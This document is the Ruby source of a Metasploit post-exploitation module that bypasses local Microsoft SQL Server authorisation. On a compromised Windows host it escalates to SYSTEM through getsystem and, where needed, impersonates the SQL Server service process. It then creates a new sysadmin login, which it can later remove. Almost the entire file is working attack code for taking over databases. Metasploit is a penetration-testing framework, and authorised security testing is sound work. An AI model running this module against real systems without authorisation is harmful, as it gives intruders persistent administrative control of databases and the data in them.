metasploit-framework/modules/post/windows/manage/mssql_local_auth_bypass.rb

151 lines
5.1 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
require 'msf/core/post/windows/mssql'
class Metasploit3 < Msf::Post
include Msf::Post::Windows::MSSQL
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Manage Local Microsoft SQL Server Authorization Bypass',
'Description' => %q{ When this module is executed, it can be used to add a sysadmin to local
SQL Server instances. It first attempts to gain LocalSystem privileges
using the "getsystem" escalation methods. If those privileges are not
sufficient to add a sysadmin, then it will migrate to the SQL Server
service process associated with the target instance. The sysadmin
login is added to the local SQL Server using native SQL clients and
stored procedures. If no instance is specified then the first identified
instance will be used.
Why is this possible? By default in SQL Server 2k-2k8, LocalSystem
is assigned syadmin privileges. Microsoft changed the default in
SQL Server 2012 so that LocalSystem no longer has sysadmin privileges.
However, this can be overcome by migrating to the SQL Server process.},
'License' => MSF_LICENSE,
'Author' => [ 'Scott Sutherland <scott.sutherland[at]netspi.com>'],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
))
register_options(
[
OptString.new('DB_USERNAME', [true, 'New sysadmin login', '']),
OptString.new('DB_PASSWORD', [true, 'Password for new sysadmin login', '']),
OptString.new('INSTANCE', [false, 'Name of target SQL Server instance', nil]),
OptBool.new('REMOVE_LOGIN', [true, 'Remove DB_USERNAME login from database', 'false'])
], self.class)
end
def run
# Set instance name (if specified)
instance = datastore['INSTANCE'].to_s
# Display target
print_status("Running module against #{sysinfo['Computer']}")
# Identify available native SQL client
get_sql_client
fail_with(Exploit::Failure::Unknown, 'Unable to identify a SQL client') unless @sql_client
# Get LocalSystem privileges
system_status = get_system
fail_with(Exploit::Failure::Unknown, 'Unable to get SYSTEM') unless system_status
begin
service = check_for_sqlserver(instance)
fail_with(Exploit::Failure::Unknown, 'Unable to identify MSSQL Service') unless service
print_status("Identified service '#{service[:display]}', PID: #{service[:pid]}")
instance_name = service[:display].gsub('SQL Server (','').gsub(')','').lstrip.rstrip
if datastore['REMOVE_LOGIN']
remove_login(service, instance_name)
else
add_login(service, instance_name)
end
ensure
# attempt to return to original priv context
session.sys.config.revert_to_self
end
end
def add_login(service, instance_name)
begin
add_login_status = add_sql_login(datastore['DB_USERNAME'],
datastore['DB_PASSWORD'],
instance_name)
unless add_login_status
raise RuntimeError, "Retry"
end
rescue RuntimeError => e
if e.message == "Retry"
retry if impersonate_sql_user(service)
else
raise $!
end
end
end
def remove_login(service, instance_name)
begin
remove_status = remove_sql_login(datastore['DB_USERNAME'], instance_name)
unless remove_status
raise RuntimeError, "Retry"
end
rescue RuntimeError => e
if e.message == "Retry"
retry if impersonate_sql_user(service)
else
raise $!
end
end
end
def add_sql_login(dbuser, dbpass, instance)
print_status("Attempting to add new login \"#{dbuser}\"...")
query = mssql_sa_escalation(username: dbuser, password: dbpass)
# Get Data
add_login_result = run_sql(query, instance)
case add_login_result
when '', /new login created/i
print_good("Successfully added login \"#{dbuser}\" with password \"#{dbpass}\"")
return true
when /already exists/i
fail_with(Exploit::Failure::BadConfig, "Unable to add login #{dbuser}, user already exists")
when /password validation failed/i
fail_with(Exploit::Failure::BadConfig, "Unable to add login #{dbuser}, password does not meet complexity requirements")
else
print_error("Unable to add login #{dbuser}")
print_error("Database Error:\n #{add_login_result}")
return false
end
end
def remove_sql_login(dbuser, instance_name)
print_status("Attempting to remove login \"#{dbuser}\"")
query = "sp_droplogin '#{dbuser}'"
remove_login_result = run_sql(query, instance_name)
# Display result
if remove_login_result.empty?
print_good("Successfully removed login \"#{dbuser}\"")
return true
else
# Fail
print_error("Unabled to remove login #{dbuser}")
print_error("Database Error:\n\n #{remove_login_result}")
return false
end
end
end